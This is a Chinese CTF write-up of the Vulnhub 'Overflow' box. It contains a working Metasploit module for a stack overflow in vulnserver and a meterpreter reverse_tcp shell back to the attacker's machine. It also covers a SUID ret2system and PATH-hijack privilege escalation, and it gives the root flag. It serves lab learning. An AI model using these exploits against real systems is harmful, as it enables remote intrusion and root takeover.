渗透笔记之Overflow-安全客

背景

Overflow是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机，可在VirtualBox中打开（不建议使用VMware）。虚拟机已设置DHCP，可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为简单，需要攻击者具备逆向和缓冲区溢出的基本知识。

准备环境

首先下载靶机镜像，得到文件Overflow.ova，大小为493M。然后在VirtualBox中导入它，观察其配置，发现只有一块虚拟网卡，修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机（以下简称Kali）作为攻击者。

在Kali中运行命令netdiscover进行主机发现，确定靶机IP地址为：192.168.1.174。

信息收集

端口扫描

使用Nmap对靶机进行TCP端口扫描：

nmap -sV -p- -Pn -n 192.168.1.174

扫描结果如下图所示，看到靶机开放了80端口和1337端口。

Nmap扫描结果

Web探测

访问http://192.168.1.174:80/，看到如下图所示的页面，有一个下载vulnserver的链接。

Web页面

出于习惯，查看页面源码，如下所示，没有什么收获。

<html>
Dirbuster is not needed. Here is the file : <a href="vulnserver" download>vulnserver</a>
</html>

虽然网页中写到“Dirbuster is not needed.”，但还是尝试了一下目录爆破，果然没有发现什么特别的目录。到目前为止，唯一的收获是vulnserver，把它下载下来。

vulnserver研究

功能研究

下载vulnserver后首先使用file命令查看文件类型：

file vulnserver

命令输出如下图所示，可以看出这是一个32位的ELF可执行文件。

file命令输出

给它可执行权限，并且执行它，看到它在监听1337端口，如下图所示。

vulnserver运行截图

用Telnet去连接它，并进行交互，结果如下图所示。

vulnserver交互截图

容易验证，靶机中监听1337端口的为同一程序。看来这个程序应该有可以远程利用的缓冲区溢出漏洞，现在的任务是找出这个漏洞并利用它。

静态分析

先用checksec看看防护情况：

checksec --file=vulnserver

如下图所示，看到什么防护都没有开启，最好不过了。

checksec结果

用IDA pro打开vulnserver，用F5逆向出main函数的C代码，这里只给出最关键的部分：

  /*
   * 省略绑定端口，进行监听的代码
   */
  while ( 1 )
  {
    v12 = accept(fd, &addr, &addr_len);
    if ( v12 < 0 )
      break;
    v3 = ntohs(*(uint16_t *)addr.sa_data);
    v4 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
    printf("Connection accepted from %s:%dn", v4, v3);
    v11 = fork();    // 注意这里开启了新进程
    if ( !v11 )
    {
      write(v12, "COMMAND : ", 0xAu);
      recv(v12, &buf, 0x400u, 0);    // 接收客户端发来的数据
      if ( !strncmp("OVERFLOW ", &buf, 9u) )    // 只比较前9个字符是否相等
      {
        handleCommand(&buf);    // 调用了函数handleCommand
        write(v12, "COMMAND DONEn", 0xDu);
      }
      else
      {
        write(v12, "TRY HARDER!n", 0xCu);
      }
    }
  }
  /*
   * 省略接下来的代码
   */

继续F5逆向handleCommand函数，结果如下所示：

// Start address is 0x08049262
char *__cdecl handleCommand(char *src)
{
  char dest; // [esp+0h] [ebp-28h]
  return strcpy(&dest, src);
}

调用了strcpy，显然handleCommand是有栈溢出漏洞的。

动态调试

刚开始调试时，将断点下在handleCommand函数开始处（0x08049262），不能成功中断，而是收到sigchld信号，调试失败。查阅资料后得知这是由于多进程的原因。

后来采取的调试方法是先运行vulnserver，然后用Telnet建立与vulnserver的连接，此时子进程已经生成，接着打开edb，使用Attach功能调试vulnserver的子进程（进程ID大的那个），如下图所示。

Attache子进程

Attach后，将断点下在0x08049262，然后再输入COMMAND为“OVERFLOW 123456789”，如下图所示。

COMMAND为“OVERFLOW 123456789”

此时在edb中程序成功中断，如下图所示。

成功中断

单步运行至ret指令处，注意观察栈内数据，看到我们输入到“OVERFLOW 123456789”距离返回地址还有11行，也就是4×11=44个字符，如下图所示。

handleCommand ret

编写攻击代码

漏洞发掘完毕，接下来需要编写攻击代码。首先找跳板jmp esp（FF E4），使用edb的BinarySearcher插件，成功地找到了唯一的跳板，位于0x0804929a，如下图所示。

BinarySearcher结果

有了跳板，就可以编写攻击代码了。写了一个Metasploit的exploit模块，代码如下所示：

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnserver Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the vulnserver which froms a target machine called Overflow.
      },
      'Author'         => 'Werner <me[at]werner.wiki>',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          ['Vulnhub', 'https://www.vulnhub.com/entry/overflow-1,300/']
        ],
      'Platform'       => %w{ linux },
      'Targets'        =>
        [
          [
            'Vulnserver',
            {
              'Platform' => 'linux',
              'Ret'      => 0x0804929a,
              'Offset'   => 44 - 9
            }
          ],
        ],
      'Payload'        =>
        {
          'BadChars'    => 'x0ax0dx00xff'
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 22 2019'))

    # Configure the default port to be 9080
    register_options(
      [
        Opt::RPORT(1337),
      ])
  end


  def exploit
    print_status("Connecting to target for exploitation.")
    connect
    print_good("Connection established successfully.")
    recv_buf = sock.get_once
    print_status("Received data: #{recv_buf}")
    buf = make_nops(target['Offset'])
    buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    print_status("Sending exploit packet.")
    sock.put(buf)
    handler
    disconnect
  end
end

将上述代码保存到文件vulnserver.rb中，然后将这个文件放在/usr/share/metasploit-framework/modules/exploits/linux/misc/中。

需要特别说明，我使用的Metasploit版本为5.0.27-dev。

完成上述工作后打开msfconsole，输入命令reload_all重载所有模块，看看有没有报错，如果没有报错，exploits的数量应该多了1，这说明模块vulnserver载入成功。

漏洞利用

当然先在本地进行测试，发现攻击代码是可用的。然后进行实际的攻击，进入msfconsole后使用我们刚刚编写的攻击模块vulnserver，设置payload为linux/x86/meterpreter/reverse_tcp，设置rhosts为靶机IP，设置lhost为Kali的IP地址。具体的命令如下：

msf5 > use exploit/linux/misc/vulnserver
msf5 exploit(linux/misc/vulnserver) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/misc/vulnserver) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(linux/misc/vulnserver) > set lhost 192.168.1.200
lhost => 192.168.1.200

设置完成后使用show options命令查看所有设置，如下图所示，检查下确定没有问题。

查看所有设置

之后输入exploit开始攻击，但失败了。没有关系，多尝试几次，就会有一次成功获得meterpreter shell，如下图所示。

成功获得meterpreter shell

探索

首先查看文件，找到了一个flag：user.txt，如下图所示。

user.txt

查看权限发现果然是普通用户，不是root。考虑提权，先搜索有suid标志的文件：

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

结果如下图，值得注意的是一个叫做printauthlog的程序。

suid

考虑到后续可能依旧要使用溢出漏洞来提权，所以看看是否开启了地址随机化，发现是开启的，如下图所示。

aslr

不管这些，先把printauthlog下载下来再说。

printauthlog研究

功能研究

用file命令可以看出printauthlog也是一个32位的ELF可执行程序。同样先运行一下，发现是要输入一个密码。如下图和下下图所示。

printauthlog1

printauthlog2

静态分析

先用checksec看看防护情况：

checksec --file=printauthlog

如下图所示，看到开启了NX（不可执行），有点麻烦，直接jmp esp是不行了。

checksec检查结果

然后用IDA pro逆向，main函数比较短，直接给出全文：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[4]; // [esp+0h] [ebp-7Ch]
  char v5; // [esp+1Ch] [ebp-60h]
  int *v6; // [esp+6Ch] [ebp-10h]

  v6 = &argc;
  strcpy(command, "/bin/cat /var/log/auth.log");
  memset(&v5, 0, 0x48u);
  if ( argc == 2 )
  {
    if ( checkPassword((char *)argv[1]) )
      puts("Wrong password");
    else
      shell(command);
  }
  else
  {
    printf("Usage: %s passwordn", *argv);
  }
  return 0;
}

关键点显然在函数checkPassword，继续逆向出checkPassword的C代码，如下：

// Start address is 0x80491C9
int __cdecl checkPassword(char *src)
{
  char s1[4]; // [esp+Fh] [ebp-49h]
  char dest; // [esp+18h] [ebp-40h]

  strcpy(s1, "deadbeef");
  strcpy(&dest, src);
  return strncmp(s1, &dest, 9u);
}

又看到了strcpy，显然checkPassword也是有栈溢出漏洞的。

至于shell函数，其C代码为：

int __cdecl shell(char *command)
{
  return system(command);
}

看到在shell函数中调用了system。

现在我们已经知道密码是deadbeef，试了下果然是正确的密码，如下图所示。但这对权限提升是没有帮助的。

密码正确

动态调试

作为一个单进程程序，调试起来简单一点点。但这个程序需要一个命令行参数，所以用edb调试需要用如下的命令打开：

edb --run ./printauthlog 123456

将程序停在checkPassword函数的ret指令处，如下图所示。

checkPassword ret

数一数可以知道输入的123456距离返回地址有17行，即17×4=68个字符。但由于开启了NX，所以直接将返回地址覆盖为jmp esp是不行的，实际上由于这个程序过于简单，也找不到jmp esp。

编写攻击代码

该如何利用这个漏洞呢？似乎只能用ROP了。但实际上不用那么复杂，因为我们注意到这个程序调用了system（函数shell中），我们只要准备好适当的参数，也调用system就好了。

第一个问题，确定system@plt的地址。这使用objdump来完成：

objdump -d -j .plt printauthlog

部分输出如下：

08049060 <system@plt>:
 8049060:    ff 25 18 c0 04 08        jmp    *0x804c018
 8049066:    68 18 00 00 00           push   $0x18
 804906b:    e9 b0 ff ff ff           jmp    8049020 <.plt>

第二个问题，如何准备system的参数。这个问题有点麻烦，因为32位程序的参数是通过栈传递的，而system的参数是字符串指针。如下图所示是正常调用system@plt开始时的栈中数据情况，可以看到system的参数0xffd8462c是指向字符串的指针，而不是字符串本身。虽然可以将栈中数据覆盖为任意值，但由于地址的动态特性，我不知道有什么办法在构造shellcode时可以确定栈中字符串地址。

正常调用system

因为这个问题迟迟没能解决，我几乎要放弃了。但正要放弃时，忽然想到了另一个靶机HackInOS中通过命令劫持的方式实现了提权。那台靶机中有suid标志的可执行文件的C代码为：

#include <unistd.h>
#include <stdlib.h>

int main(){
    setgid(0);
    setuid(0);
    system("whoami");
    return 0;
}

通过劫持whoami命令，将whoami替换为“/bin/bash -p”成功提权。

回到面临的问题，其实我不需要把自己构造的字符串做为system的参数，几乎任意的字符串都可以做为system的参数，只要它是固定的（内容和地址都固定），不以“/”开头（以“/”开头没法劫持）。这样的字符串还是有很多的，比如“Wrong password”。

首先确定“Wrong password”的地址，依旧使用BinarySearcher，找到其地址为0x0804a008，如下图所示。

字符串地址

然后就可以构造shellcode了，从前往后（栈中从上往下）依次是：

17*4 字节的填充
0x08049060：system@plt的地址
0x080491C0：一个实际上不会用到的返回地址，单纯占位
0x0804A008：“Wrong password”的地址，system的参数

由于printauthlog接收的是命令行参数，所以需要借助perl来输入“x08”这样的特殊字符（靶机中没有Python）。实际执行如下的命令完成攻击：

./printauthlog $(perl -e 'print "A"x(17*4)."x60x90x04x08"."xc0x91x04x08"."x08xa0x04x08"')

但现在执行上述命令还不能成功，因为我们还没有劫持“Wrong”命令。

实施攻击

首先从meterpreter shell进入到bash shell中，然后看看当前目录，发现是/home/user，如下图。

pwd

然后建立一个名为Wrong的文件，内容为“/bin/bash -p”，并给它可执行权限，如下图。

Wrong

接着在PATH中添加/home/user，如下所示。

PATH="$PATH:/home/user"

PATH

此时已完成对“Wrong”命令的劫持。最后运行攻击命令，获得一个有root权限的bash shell，如下图。

EXPLOIT!

有了root权限，很容易就找到了root的flag，如下图。

root flag

flag是：

dfd0ac5a9cb9220d0d34322878d9cd7b

当然由于shellcode过于简单，只要一退出root shell，程序就崩溃了，如下图。

Segmentation fault

总结

虽然就缓冲区溢出而言，这个靶机的难度只能算简单，但我对这方面知识的了解仅限于阅读过《0day安全：软件漏洞分析技术(第二版)》，而且还是三年前的事情了，所以对我来说还是有相当的挑战的，成功拿到root权限后，带来的成就感也是前所未有的。

在渗透的过程中，果然不能轻言放弃，而是要尝试所有的可能性。同时我也感受到了二进制的魅力——内存海洋的苦苦寻觅，不拘一格的漏洞利用。

渗透笔记之Overflow

译文声明

背景

准备环境

信息收集

端口扫描

Web探测

vulnserver研究

功能研究

静态分析

动态调试

编写攻击代码

漏洞利用

探索

printauthlog研究

功能研究

静态分析

动态调试

编写攻击代码

实施攻击

总结

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